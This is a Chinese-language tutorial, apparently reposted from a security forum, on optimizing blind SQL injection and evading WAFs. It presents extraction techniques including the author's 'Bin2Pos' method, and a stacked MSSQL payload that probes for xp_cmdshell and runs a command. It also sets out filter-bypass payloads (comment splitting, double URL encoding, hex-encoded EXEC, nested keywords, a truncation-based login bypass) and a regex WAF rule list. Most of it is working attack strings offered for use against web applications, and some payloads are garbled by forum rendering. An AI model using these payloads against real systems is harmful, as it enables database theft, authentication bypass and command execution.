作者:Arizona
原文來自:https://bbs.ichunqiu.com/thread-43169-1-1.html
0×00 ~ 介紹
SQL注入毫無疑問是最危險的Web漏洞之一,因為我們將所有信息都存儲在數據庫中。其解決方案之一,有許多公司實施Web應用程序防火牆和入侵檢測/預防系統來試圖保護自己。但不幸的是,這些對策往往是不充分的,並且很容易被繞過。
盡管不能依賴防火牆來防止所有SQL注入,但一些防火牆在作為監視工具時也會很有效。由於目標存在防火牆,在攻擊過程中會檢測到攻擊者並阻止攻擊。因此,經過優化和繞過的SQL注入具有更高的成功率;它將更快地提取數據並且不會被很快的檢測到。
在本文中,我們將討論和比較各種優化方法,這些方法在利用SQL盲注時非常有效。我們還將介紹SQL查詢,這些查詢可用於僅使用一個請求轉儲整個數據庫,這使得在不被注意的情況下非常容易的快速檢索數據。此外,我們將檢查幾種繞過技術,這些技術可能使防火牆無法識別SQL攻擊。將這些技術結合起來會造成致命的攻擊,而且這可能是毀滅性的。
0×01 ~ 優化
在進行SQL盲注時,優化通常是最容易被忽視的重要方面之一。優化的SQL注入不僅可以產生更快的結果,還可以減少網絡擁塞並且更低服務器上的負擔反過來提供較低的被檢測風險。與傳統方法相比,某些方法提供的速度差異令人驚訝,並且可以將成功從數據庫中提取數據所需的請求量和時間減少三分之一以上。為了使用這些方法,我們必須先了解它們是如何工作的以及每種方法的有效性,但在我們開始分析和比較它們之前,重要的是事先審查一些初步概念。
計算機只能理解數字,因此創建了ASCII(美國信息交換標准碼)。 ASCII代碼是字母或字符的數字表示。任何ASCII字符都可以用1字節或8位表示,也稱為八位字節。在處理SQL注入時,我們通常對完整的ASCII范圍不感興趣,因為並非所有字符在數據庫中都是有效的或允許的。出於這個原因,我們只關注ASCII范圍32 – 126,它給我們留下了一組94個字符。該范圍只能用7位表示,最高有效位為0.這在進一步優化技術時會派上用場,因為它允許我們削減請求。下表以不同的形式顯示了ASCII范圍:
注意:MSB(最高有效位)始終關閉,允許我們保存其他請求。
方法分析
當禁用錯誤顯示時,這些方法旨在與盲SQL注入一起使用,我們通常必須一次檢索1個字符。
二分法
二分法通常稱為計算機科學中的二分搜索算法,是一種對數算法,也是最廣泛使用的通過SQL注入提取數據的方法;它是多功能的,有效的並直接實施,使其成為黑客和程序員的熱門選擇。使用有限列表,二分法通過將列表分成兩半並搜索分支的每一半來工作。它繼續這個過程,通過拆分半分支找到項目並重復直到完成,這就是為什么它是一個二分法分而治之的算法。當在性能方面進行描述時,它具有與log2(N)相同的最壞情況和平均情況,這使得該方法通常處於其請求的高端。應用於SQL注入時,需要其他請求才能使此方法有效。
正則表達式方法
Simone Quatrini和Marco Rondini在一篇名為“具有正則表達式攻擊的sql盲注”的論文中首次介紹,這種方法只是二分法的一種變體,它使用正則表達式。對於MySQL,該技術使用REGEXP函數和MSSQL,LIKE語句具有類似的功能,但工作方式略有不同。這種方法的一個小缺點是對每種類型的數據庫使用兩種不同的函數。建議的替代方案是使用存在於MySQL和MSSQL中的BETWEEN函數;這將通過能夠為多個數據庫使用單個函數來簡化實現。
REGEXP’^ [a-z]‘真<br>
REGEXP’^ [a-n]‘真<br>
REGEXP’^ [a-g]‘錯誤<br>
REGEXP’^ [h-n]‘真<br>
REGEXP’^ [h-l]‘錯誤<br>
注意表2:正在使用的REGEX方法的示例。
按位方法
有幾種按位方法彼此之間略有不同。在分析這些方法時,在大多數情況下它們都比二分法更糟糕,因此本文不會詳細描述它們。這些方法使用按位運算,例如移位或AND運算,但這些往往是多余的,因為二進制在MySQL和MSSQL中都被視為一個字符串,因此可以使用SUBSTRING函數或類似函數來比較每個單獨的位到請求數量是一致的
| 二進制”a” | 要轉移的位 | 二進制結果 | 十進制結果 |<br>
| 01100001 | >7 | 00000000 | 0 |<br>
| 01100001 | >6 | 00000001 | 1 |<br>
| 01100001 | >4 | 00000110 | 6 |<br>
| 01100001 | >3 | 00001100 | 12 |<br>
| 01100001 | >2 | 00011000 | 24 |<br>
| 01100001 | >1 | 00110000 | 48 |<br>
| 01100001 | >0 | 01100001 | 97 |<br>
注意:按位移位方法顯示檢索字符“a”。
Bin2Pos方法
這種方法是我自己的發明,它本質上是一種優化的搜索技術,它可以檢索至少只有1個請求和最多6個請求的字符。此方法依賴於有限的字符列表,其中每個字符都映射到列表中的位置;將字符映射到它們的位置很重要,因為與字符的十進制值相比,它提供了較小的數字。然后將位置轉換為二進制並從二進制序列中第一次出現的on位開始檢索。通過將位置轉換為二進制,我們有效地將字符集減少到兩個(1或0)。另外,因為我們從第一次出現on位開始,所以我們可以保存一個請求我們知道這將是一個“1”。
由於二進制文件的大小取決於列表中字符的位置,因此字符越接近列表的開頭,檢索它所需的請求量就越少。出於這個原因,我們可以通過字母表中最常用的字母對列表進行排序,以進一步優化它。在MySQL中使用帶有兩個不同值的參數(例如id = 1,id = 2)的實現示例可以在下圖中使用十六進制集看到:
引用:<br>
IF((@a:=MID(BIN(POSITION(MID((SELECT password FROM users WHERE id=2 LIMIT
1),1,1)IN(CHAR(48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70))),1,1))!=space(
0),2-@a,0/0)
因為標准集大小為94(32 – 126)最多使用7位,這意味着要檢索的字符的最大大小將為7.需要額外的請求來確定我們已到達二進制序列的末尾。 因此,通過避免第一個請求並且必須在最后執行額外請求,這總共留下了7個請求。 但是,由於我們知道7位是可以檢索的最大長度,如果我們已經發出6個請求,我們不必發送額外的請求來知道我們何時到達結束,因為我們已經達到了最大長度可能。 這給出了僅有6個請求的最壞情況。 最好的情況是在列表的第一個位置找到字符時只需要1個請求。 下圖演示了使用按字母順序排序的集合的此方法。
優化查詢
現在我們已經概述了一些通過盲注提取數據的已知方法,我們將看一些優化的查詢,這些查詢可以大大加快從數據庫中提取數據的速度。 Ionut Maroiu演示了一種MySQL技術,它允許使用單個請求檢索所有數據庫,表和列。 PostgreSQL和Oracle也有類似的技術,由Dmitriy Serebryannikov演示,另一個由Daniel Kachakil發現的MSSQL演示。 下表顯示了每個描述的查詢的示例:
注意:使用單個請求檢索多個表和列條目的不同查詢。
還有更具破壞性的單一請求攻擊是可能的,因為在使用PDO或PHP的新的和“改進的”擴展mysqli時,MSSQL甚至MySQL中的堆棧查詢都是可能的。 例如,以下MSSQL查詢將檢查是否已加載xp_cmdshell,如果已啟用,則會檢查它是否處於活動狀態,如果它處於活動狀態,則會繼續運行您選擇的命令。
PHP Code:
<?php
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE home.php?mod=space&uid=48563 varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'I**tendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
對於滲透測試人員和攻擊者,測試SQL注入可能會變得乏味。 一些Web應用程序可以具有無限數量的具有無限數量參數的模塊。 此外,每種可能的SQL注入類型至少需要三次單獨的測試:單引號,雙引號和無引號。 通過優化查詢,可以將所有查詢減少到一個請求。
注意:優化注入允許我們通過單個請求測試所有三種變化。
另一個使用AND的例子:
注意:使用AND邏輯的優化注入的變體。
為了進一步說明這個優化的查詢,請考慮以下注入:
引用:<br>
SELECT * FROM Users WHERE username=”Admin” and password = “1 OR 1#”OR”‘OR”=’”=”‘OR”=’”
引用:<br>
SELECT * FROM Articles WHERE id = 1!=0–+”!=”‘!=’
0×03 ~ 繞過
混淆是繞過防火牆的主要方法之一。通過欺騙防火牆將我們的攻擊視為合法流量,我們可以成功交付有效載荷而不會被檢測到。有幾種方法可以用來混淆我們的注入。通過使用fuzzers,我們可以發現可用於混淆的不同可能性。雖然有時簡單性可能是更好的選擇,如果所有其他方法都失敗了,我們總是可以采用各種編碼方式。
Fuzzers
防火牆開發人員必須充分了解所有數據庫規范和奇怪之處。其中一些奇怪的是有記錄的,其他的只能通過模糊測試找到。發現了一個特殊的例子通過使用fuzzers,每種類型的數據庫都允許使用空白字符。每個不同的RDBMS允許各種不同的空白字符,而不是通常的0×20。通過使用其他允許的空格字符切換標准空格,我們可以使某些防火牆無法識別注入,從而使我們能夠有效地繞過它們。
注意:不同RDBMS中允許的有效空格。
替換空格可能是一個有用的技巧,但任何復雜的防火牆都能夠檢測到大多數允許的空格,並隨后將適當地處理它們。 當防火牆真正擅長去混淆注射時,有時最好采取相反的路線並盡可能簡化注射。
就像許多編程語言為我們提供了幾種不同的方法來實現相同的結果一樣,SQL也是如此。 在某些情況下,使用最簡單的方法可能是最有效的; 如果我們的SQL注入看起來像普通英語,防火牆很難區分普通文本和SQL語法。 一個很好的例子是CASE語句的以下用法,它可以在WHERE語句之后附加:
CASE WHEN BINARY TRUE THEN TRUE END IS NOT UNKNOWN HAVING TRUE FOR UPDATE
編碼
特殊編碼是繞過防火牆時使用的另一個工具。大多數這些編碼將取決於應用程序如何處理數據。 Web應用程序可以以一種方式查看數據,而代理,防火牆或數據庫可能以不同方式解釋數據。正是由於層之間的這些差異,編碼可能會繞過防火牆。
URL編碼
瀏覽網頁的任何人之前都看過這種編碼。 URL編碼用於轉換“特殊”字符,因此可以通過HTTP發送它們。字符轉換為十六進制等效,前綴為百分號。
雙URL編碼
這只是對字符應用URL編碼兩次的過程。所需要的只是重新編碼百分號。如果數據在通過防火牆之后和到達數據庫之前被解碼兩次,則此編碼成功。
Unicode編碼
Unicode是一種行業標准,用於表示多種語言的110,000多個符號和字符。它可以用不同的字符編碼表示,如UTF-8,UTF-16,UTF-32等。此編碼通常適用於IIS服務器或使用ASP或.NET構建的應用程序
注意:下表顯示了字符“a”的每個編碼。
UTF-8編碼
UTF-8是對Unicode字符集中的1,114,112個代碼點(0到10FFFF)中的每一個進行編碼的一種形式。 “UTF”代表Unicode轉換格式,而“8”代表它使用8位塊代表字符。 表示字符所需的塊數從1到4不等。只需要1個字節或塊來表示ASCII范圍0-127中的字符,前導位為0.但是,任何高於127的代碼點都需要 以多字節序列表示,其中第一個字節的前導位,直到第一個字節,表示完成序列的后續字節總數。 第一個字節中第一個0之后的后續位構成字符的一部分。 每個連續字節在高位位置具有“10”,但是這兩個位是冗余的。 下圖中的xx表示實際的數據位。
注意:以下是不同UTF-8多字節編碼的表示。
因為不需要第一個字節之后的前兩個高位,應用程序可能只讀取最后六位,允許我們用00,01或11替換前兩個最高有效位。
注意:字符“a”的幾種不同的UTF-8表示。
半字節編碼
半字節是4位,因此存在十六(2 ** 4)個可能值,因此半字節對應於單個十六進制數字。 由於ASCII范圍0-255中的每個字符都可以用1個字節表示,因此我們可以對最多4個進行URL編碼有效位,4個最低有效位或兩者。 這通常被稱為First Nibble,Second Nibble和Double Nibble編碼。
注意:第一,第二和雙半字節編碼的示例。
無效的百分比編碼
無效的百分比編碼特定於.NET / IIS應用程序。 通過在無效十六進制的字符之間添加百分號,IIS將剝離使數據有效的字符。 但是,任何不知道此行為的防火牆都會留下百分號,這反過來會破壞SQL語法,使其無法被防火牆檢測到。
防火牆的數據是什么樣的:
%UNI%ON %SE%LE%CT 1 %FR%OM %D%U%A%L
IIS的數據是什么樣的:
UNION SELECT 1 FROM DUAL
十六進制編碼無效
無效的十六進制不完全是一種編碼,而是一種濫用某些應用程序如何處理十六進制到十進制的轉換的方式。 這個想法是創建無效的十六進制,導致與有效十六進制相同的十進制值。根據應用程序處理和轉換數據的方式,它可能會將%2Ú視為與%61相同。
表13:轉換無效十六進制結果時轉換的結果與有效十六進制相同。
表14:無效的十六進制使用完整的字母表,其中有效的十六進制僅使用A-F。
0×04~高級繞過
常見的SQL過濾器類型
在sql注入攻擊的上下文中,您可能遇到的最有趣的過濾器是那些試圖阻止包含以下一個或多個的輸入的過濾器:
SQL關鍵字,例如SELECT,AND,INSERT<br>
特定的單個字符,例如引號或連字符<br>
空格
您可能還會遇到過濾器而不是阻止包含前面列表中的項目的輸入,嘗試修改輸入以使其安全,通過編碼或轉義有問題的字符或從輸入中剝離違規項目並處理剩下的內容 順便說一句,順便說一句,這是不合邏輯的,因為如果有人想要損害你的Web應用程序,你想要處理他的惡意輸入。
通常,這些過濾器保護的應用程序代碼容易受到SQL注入(因為全世界都存在無能,無知或收入不高的開發人員),並利用您需要的漏洞來找到一種避免過濾器傳遞惡意輸入的方法 易受攻擊的代碼。 在接下來的幾節中,我們將研究一些可以用來做的技術。
繞過SQL注入過濾器
請注意,上述所有SQL注入過濾器繞過技術均基於黑名單過濾心態,而不是白名單過濾邏輯。這意味着糟糕的軟件開發基於黑名單過濾器概念。
通過SQL注入過濾器的方法很多,還有更多方法可以利用它們。回避SQL注入過濾器的最常見方法是:
使用大小寫變化。<br>
使用SQL注釋。<br>
使用URL編碼。<br>
使用動態查詢執行。<br>
使用空字節。<br>
嵌套剝離表達式。<br>
利用截斷。<br>
使用非標准入口點。<br>
結合上述所有技術。
大小寫變化
如果關鍵字阻塞過濾器特別天真,您可以通過改變攻擊字符串中字符的大小來規避它,因為數據庫以不區分大小寫的方式處理SQL關鍵字。 例如,如果阻止以下輸入:
‘UNION SELECT @@ version –
您可以使用以下替代方法繞過過濾器:
‘UnIoN sElEcT @@ version –
注意:僅使用大寫或僅使用小寫也可以使用,但我不建議在這種類型的模糊測試中花費大量時間。
SQL 注釋
您可以使用內聯注釋序列來創建SQL的片段,這些片段在語法上不常見但完全有效,並繞過各種輸入過濾器。 您可以通過這種方式規避各種簡單的模式匹配過濾器。
當然,您可以使用相同的技術來繞過過濾器,這些過濾器只會阻止任何空白區域。 許多開發人員錯誤地認為,通過將輸入限制為單個令牌,他們正在阻止SQL注入攻擊,忘記了內聯注釋使攻擊者能夠構造任意復雜的SQL而不使用任何空格。
對於MySQL,您甚至可以在SQL關鍵字中使用內聯注釋,從而可以繞過許多常見的關鍵字阻止過濾器。 例如,如果后端數據庫是MySQL,如果只檢查SQL注入字符串的空格,則以下攻擊仍然有效:
UNION//SELECT//@@version//– Or ‘ U//NI//ON//SELECT//@@version//–
注意:這種類型的濾波器旁路方法包括間隙填充和黑名單壞字符序列過濾。
URL編碼
URL編碼是一種多功能技術,可用於擊敗多種輸入過濾器。 在最基本的形式中,這涉及用十六進制形式的ASCII代碼替換有問題的字符,前面是%字符。 例如,單引號的ASCII代碼為0×27,因此其URL編碼表示為%27。在這種情況下,您可以使用以下攻擊來繞過過濾器。
原始查詢:
NION SELECT @@version –
URL編碼的查詢:
%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%40%40%76%65%72%73%69%6f%6e%20%2d%2d
在其他情況下,這種基本的URL編碼攻擊不起作用,但您可以通過對被阻止的字符進行雙URL編碼來繞過過濾器。 在雙重編碼攻擊中,原始攻擊中的%字符本身以正常方式進行URL編碼(如%25),因此單引號的雙URL編碼形式為%2527。 如果您修改前面的攻擊以使用雙URL編碼,它看起來像這樣:
%25%32%37%25%32%30%25%35%35%25%34%65%25%34%39%25%34%66%25%34%65%25
%32%30%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32
%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39
%25%36%66%25%36%65%25%32%30%25%32%64%25%32%64
注意:您還應該考慮選擇性URL編碼也是繞過SQL注入過濾的有效方法。
雙URL編碼有時會起作用,因為Web應用程序有時會多次解碼用戶輸入,並在最終解碼步驟之前應用其輸入過濾器。 在前面的示例中,涉及的步驟如下:<br>
攻擊者提供輸入’%252f%252a / UNION …<br>
應用程序URL將輸入解碼為’%2f%2a / UNION …<br>
應用程序驗證輸入不包含/ *(它不包含)。<br>
應用程序URL將輸入解碼為’/ ** / UNION …<br>
應用程序在SQL查詢中處理輸入,並且攻擊成功。<br>
URL編碼技術的另一個變體是使用阻塞字符的Unicode編碼。 除了使用帶有兩位十六進制ASCII碼的%字符外,URL編碼還可以使用各種Unicode字符表示形式。 unicode編碼時的SQL注入查詢如下所示:
27 20 55 4E 49 4F 4E 20 53 45 4C 45 43 54 20 40 40 76 65 72 73 69 6F 6E 20 2D 2D
注意:我沒有使用unicode編碼進行大量實驗,坦率地說,我不認為使用Unicode編碼的fuzzing SQL會非常有用。
CAST和CONVERT關鍵字
編碼攻擊的另一個子類是CAST和CONVERT攻擊。 CAST和CONVERT關鍵字顯式地將一種數據類型的表達式轉換為另一種數據類型,通過CAST關鍵字將其嵌入到MySQL,MSSQL和Postgre數據庫中。 它已被許多網站中的各種類型的惡意軟件攻擊使用,並且是一個非常有趣的SQL注入過濾器旁路。 使用此類攻擊的最臭名昭着的僵屍網絡是ASPRox僵屍網絡病毒。 看看語法:
使用 CAST<br>
CAST ( expression AS data_type )<br>
使用 CONVERT<br>
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )<br>
使用CAST和CONVERT,您可以通過使用函數SUBSTRING傳遞結果進行類似的過濾,一個示例可以向您顯示我的意思。 以下SQL查詢將返回相同的結果:
SELECT SUBSTRING(‘CAST and CONVERT’, 1, 4)
返回結果:CAST
SELECT CAST(‘CAST and CONVERT’ AS char(4))
返回結果:CAST
SELECT CONVERT(varchar,’CAST’,1)
返回結果:CAST
注意:請注意,SUBSTRING和CAST關鍵字的行為相同,也可用於盲SQL注入攻擊。 您可以嘗試使用此鏈接來測試此查詢。 如果你想看到它,你必須在這個板上注冊。)。
進一步擴展CONVERT和CAST,我們可以確定以下SQL查詢是否有效且非常有趣,請參閱如何使用CAST和CONVERT提取MSSQL數據庫版本。
0×1 – 標識要執行的查詢:
SELECT @@VERSION
0×2 – 根據關鍵字CAST和CONVERT構造查詢:
SELECT CAST(‘SELECT @@VERSION’ AS VARCHAR(16))
或者
SELECT CONVERT(VARCHAR,’SELECT @@VERSION’,1)
0×3 – 使用關鍵字EXEC執行查詢:
SET @sqlcommand = SELECT CONVERT(VARCHAR,’SELECT @@VERSION’,1)
EXEC(@sqlcommand)
或者首先將SELECT @@ VERSION轉換為Hex
SET @sqlcommand = (SELECT CAST(0x53454C45435420404076657273696F6E00 AS VARCHAR(34))
EXEC(@sqlcommand)
注意:了解CAST和CONVERT的創意。現在,由於句子CAST中包含的數據類型是十六進制的,因此執行varchar轉換。
您還可以使用嵌套的CAST和CONVERT查詢來注入惡意輸入。這樣,您就可以開始在不同的編碼類型之間進行交換,並創建更復雜的查詢。這應該是一個很好的例子:
CAST(CAST(PAYLOAD IN HEX, VARCHAR(CHARACTER LENGTH OF PAYLOAD)),, VARCHAR(CHARACTER LENGTH OF TOTAL PAYLOAD)
動態查詢執行
許多數據庫允許通過將包含SQL查詢的字符串傳遞到執行查詢的數據庫函數來動態執行SQL查詢。 如果您發現了一個有效的SQL注入點,但發現應用程序的輸入過濾器阻止了您想要注入的查詢,那么您可以使用動態執行來繞過過濾器。 動態查詢執行在不同的數據庫上有不同的
在Microsoft SQL Server上,您可以使用EXEC函數以字符串形式執行查詢。 例如:
‘EXEC xp_cmdshell ‘dir’; — Or ‘UNION EXEC xp_cmdshell ‘dir’; —
注意:使用EXEC功能,您可以枚舉后端數據庫中所有已啟用的存儲過程,並將已分配的權限映射到存儲過程。
在Oracle中,您可以使用EXECUTE IMMEDIATE命令以字符串形式執行查詢。例如:
DECLARE pw VARCHAR2(1000);<br>
BEGIN<br>
EXECUTE IMMEDIATE ‘SELECT password FROM tblUsers’ INTO pw;<br>
DBMS_OUTPUT.PUT_LINE(pw);<br>
END;<br>
注意:您可以逐行或全部一起執行該操作,當然,通過傳遞方法的其他過濾器可以與此結合使用。
上述SQL注入攻擊類型可以提交到Web應用程序攻擊入口點,無論是上面呈現的方式,還是后端數據庫接受批量查詢(例如MSSQL)時由分號分隔的一批命令。
例如在MSSQL中你可以這樣做:
SET @MSSQLVERSION = SELECT @@VERSION; EXEC (@MSSQLVERSION); –
注意:可以從不同的Web應用程序入口點或相同的查詢提交相同的查詢。
數據庫提供了各種操作字符串的方法,使用動態執行來打敗輸入過濾器的關鍵是使用字符串操作函數將過濾器允許的輸入轉換為包含所需查詢的字符串。 在最簡單的情況下,您可以使用字符串連接從較小的部分構造字符串。 不同的數據庫使用不同的語法進行字符串連接。
例如,如果阻止SQL關鍵字SELECT,則可以按如下方式構造它。
Oracle:
‘SEL’||’ECT’
MS-SQL:
‘SEL’+'ECT’
MySQL:
‘SEL’ ‘ECT’
此SQL混淆方法的其他示例如下:
Oracle:
UN’||’ION SEL’||’ECT NU’||’LL FR’||’OM DU’||’AL–
MS-SQL:
‘ un’+’ion (se’+’lect @@version) –
MySQL:
‘ SE’’LECT user(); #
請注意,SQL Server使用+字符進行連接,而MySQL使用空格。 如果要在HTTP請求中提交這些字符,則需要將它們分別對其進行URL編碼為%2b和%20。 更進一步,您可以使用CHAR函數(Oracle中的CHR)使用其ASCII字符代碼構造單個字符。 例如,要在SQL Server上構造SELECT關鍵字,您可以使用:
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
注意:名為Hackbar的Firefox插件工具也會自動執行此操作(很長一段時間以來)
您可以使用這種方式構造字符串,而無需使用任何引號字符。 如果您有一個SQL注入入口點,其中引號被阻止,您可以使用CHAR函數將字符串(例如“admin”)放入您的漏洞。 其他字符串操作函數也可能是有用的。 例如,Oracle包含函數REVERSE,TRANSLATE,REPLACE和SUBSTR。 在SQL Server平台上構造用於動態執行的字符串的另一種方法是從單個十六進制數字實例化一個字符串,該數字表示字符串的ASCII字符代碼。 例如,字符串:
SELECT password FROM tblUsers
可以構造和動態執行如下:
DECLARE @query VARCHAR(100)<br>
SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273<br>
EXEC(@query)<br>
注意:2008年初開始的針對Web應用程序的大規模SQL注入攻擊采用了這種技術,以減少被攻擊的應用程序中的輸入過濾器阻止其漏洞利用代碼的可能性。
空字節
通常,為了利用SQL注入漏洞而需要繞過的輸入過濾器是在應用程序自己的代碼之外,入侵檢測系統(IDS)或WAF中實現的。出於性能原因,這些組件通常使用本機代碼語言編寫,例如C ++。在這種情況下,您通常可以使用空字節攻擊來規避輸入過濾器並將您的漏洞利用到后端應用程序中。
由於在本機代碼和托管代碼中處理空字節的不同方式,空字節攻擊起作用。在本機代碼中,字符串的長度由字符串開頭的第一個空字節的位置確定 – 空字節有效地終止字符串。另一方面,在托管代碼中,字符串對象包含字符數組(可能包含空字節)和字符串長度的單獨記錄。這種差異意味着當本機過濾器處理您的輸入時,它可能在遇到空字節時停止處理輸入,因為這表示就過濾器而言字符串的結尾。如果空字節之前的輸入是良性的,則過濾器不會阻止輸入。
但是,當應用程序處理相同的輸入時,在托管代碼上下文中,將處理空字節后面的完整輸入,從而允許執行您的漏洞利用。要執行空字節攻擊,您只需在過濾器阻塞的任何字符之前提供URL編碼的空字節(看起來像這樣)。在原始示例中,您可以使用攻擊字符串繞過本機輸入過濾器,如下所示:
‘ UNION SELECT password FROM tblUsers WHERE username=’admin’–
注意:當訪問用作銀行結束數據庫時,NULL字節可用作SQL查詢分隔符。
嵌套剝離表達式
某些清理過濾器會從用戶輸入中刪除某些字符或表達式,然后以常規方式處理剩余數據。 如果正在被剝離的表達式包含兩個或多個字符,並且未以遞歸方式應用過濾器,則通常可以通過將禁止的表達式嵌套在其自身內來使過濾器失敗。
例如,如果從輸入中刪除SQL關鍵字SELECT,則可以使用以下輸入來阻止過濾器:
SELSELECTECT
注意:請參閱繞過愚蠢過濾器的簡單性。
截斷
清理過濾器通常對用戶提供的數據執行多個操作,有時其中一個步驟是將輸入截斷為最大長度,可能是為了防止緩沖區溢出攻擊,或者在具有預定義最大長度的數據庫字段中容納數據 。考慮一個登錄函數,它執行以下SQL查詢,包含兩項用戶提供的輸入:
SELECT uid FROM tblUsers WHERE username = ‘jlo’ AND password = ‘r1Mj06′
假設應用程序使用清理過濾器,它執行以下步驟:
將引號加倍,用兩個單引號(“)替換單引號(’)的每個實例<br>
將每個項目截斷為16個字符。 如果您提供典型的SQL注入攻擊向量,例如:
admin’–
將執行以下查詢,您的攻擊將失敗:
SELECT uid FROM tblUsers WHERE username = ‘admin”–’ AND password = ”
雙引號表示您的輸入無法終止用戶名字符串,因此查詢實際上會檢查具有您提供的文字用戶名的用戶。 但是,如果您提供包含15個和一個引號的用戶名aaaaaaaaaaaaaa’,則應用程序首先將引號加倍,生成17個字符的字符串,然后通過截斷為16個字符來刪除其他引號。 這使您可以將未轉義的引號走私到查詢中,從而干擾其語法:
SELECT uid FROM tblUsers WHERE username = ‘aaaaaaaaaaaaaaa” AND password = ”
注意:此初始攻擊會導致錯誤,因為您實際上有一個未終止的字符串。
a后面的每對引號代表一個轉義引號,並且沒有最終引號來分隔用戶名字符串。 但是,因為您有第二個插入點,所以在密碼字段中,您可以通過提供以下密碼來恢復查詢的語法有效性並繞過登錄:
or 1=1–
這會導致應用程序執行以下查詢:
SELECT uid FROM tblUsers WHERE username = ‘aaaaaaaaaaaaaaa” AND password = ‘or 1=1–’
當數據庫執行此查詢時,它會檢查文字用戶名為的表條目:
aaaaaaaaaaaaaaa’ AND password =
這可能總是假的,或者1 = 1,這總是正確的。 因此,查詢將返回表中每個用戶的UID,通常會導致應用程序將您作為表中的第一個用戶登錄。 要以特定用戶身份登錄(例如,使用UID 0),您將提供以下密碼:
or uid=0–
注意:此查詢被認為是用於身份驗證繞過或權限提升的非常古老的技術。
0×05 ~ 更高級的
基於Regexp的WAF:
(?:)\swhen\s\d+\sthen)|(?:”\s(?:#|–|{))|(?:\/*!\s?\d+)|(?:ch(?:a)?r\s(\s\d)|(?:(?:(n?and|x?or|not)\s+||||\&\&)\s\w+()
(?:[\s()]case\s()|(?:)\slike\s()|(?:having\s[^\s]+\s[^\w\s])|(?:if\s?([\d\w]\s[=<>~])
(?:”\sor\s”?\d)|(?:\x(?:23|27|3d))|(?:^.?”$)|(?:(?:^["\](?:[\d"]+|[^"]+”))+\s(?:n?and|x?or|not||||\&\&)\s[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s[|-]
\s”\s\w)|(?:@\w+\s+(and|or)\s["\d]+)|(?:@[\w-]+\s(and|or)\s[^\w\s])|(?:[^\w\s:]\s\d\W+[^\w\s]\s”.)|(?:\Winformation_schema|table_name\W)
(?:”\s*.+(?:or|id)\W”\d)|(?:\^”)|(?:^[\w\s"-]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=||)(?<=\&\&)\w+()|(?:”[\s\d][^\w\s]+\W\d
\W.["\d])|(?:”\s[^\w\s?]+\s[^\w\s]+\s”)|(?:”\s[^\w\s]+\s[\W\d].(?:#|–))|(?:”.*\s\d)|(?:”\sor\s[^\d]+[\w-]+.\d)|(?:[()<>%+-][\w-]+[^\w\s]
+”[^,])
(?:\d”\s+”\s+\d)|(?:^admin\s”|(\/*)+”+\s?(?:–|#|\/*|{)?)|(?:”\sor[\w\s-]+\s[+<>=(),-]\s[\d"])|(?:”\s[^\w\s]?=\s”)|(?:”\W[+=]+\W”)|(?:”\s[!=|]
[\d\s!=+-]+.["(].$)|(?:”\s[!=|][\d\s!=]+.\d+$)|(?:”\slike\W+[\w"(])|(?:\sis\s0\W)|(?:where\s[\s\w.,-]+\s=)|(?:”[<>~]+”)
(?:union\s(?:all|distinct|[(!@])?\s[([]\sselect)|(?:\w+\s+like\s+\”)|(?:like\s”\%)|(?:”\slike\W["\d])|(?:”\s(?:n?and|x?or|not ||||\&\&)\s+[\s
\w]+=\s\w+\shaving)|(?:”\s*\s\w+\W+”)|(?:”\s[^?\w\s=.,;)(]+\s[(@"]\s\w+\W+\w)|(?:select\s[[]()\s\w.,”-]+from)|(?:find_in_set\s()
(?:in\s(+\sselect)|(?:(?:n?and|x?or|not ||||\&\&)\s+[\s\w+]+(?:regexp\s(|sounds\s+like\s”|[=\d]+x))|(“\s\d\s(?:–|#))|(?:”[%&<>^=]+\d\s(=|
or))|(?:”\W+[\w+-]+\s=\s\d\W+”)|(?:”\sis\s\d.+”?\w)|(?:”|?[\w-]{3,}[^\w\s.,]+”)|(?:”\sis\s[\d.]+\s\W.”)
(?:[\d\W]\s+as\s["\w]+\sfrom)|(?:^[\W\d]+\s(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc) )|(?:(?:select|create|rename|
truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_f ile)\s?(?)|(?:end\s);)|(“\s+regexp\W)|(?:[\s(]load_file\s()
(?:@.+=\s(\sselect)|(?:\d+\sor\s\d+\s[-+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+()|(?:(?:;|#|–)\s(?:drop|alter))|(?:
(?:;|#|–)\s(?:update|insert)\s\w{2,})|(?:[^\w]SET\s@\w+)|(?:(?:n?and|x?or|not ||||\&\&)[\s(]+\w+[\s)][!=+]+[\s\d]["=()])
(?:”\s+and\s=\W)|(?:(\sselect\s\w+\s()|(?:*\/from)|(?:+\s\d+\s+\s@)|(?:\w”\s(?:[-+=|@]+\s)+[\d(])|(?:coalesce\s(|@@\w+\s[^\w\s])|(?:\W!
+”\w)|(?:”;\s(?:if|while|begin))|(?:”[\s\d]+=\s\d)|(?:order\s+by\s+if\w\s()|(?:[\s(]+case\d\W.+[tw]hen[\s(])
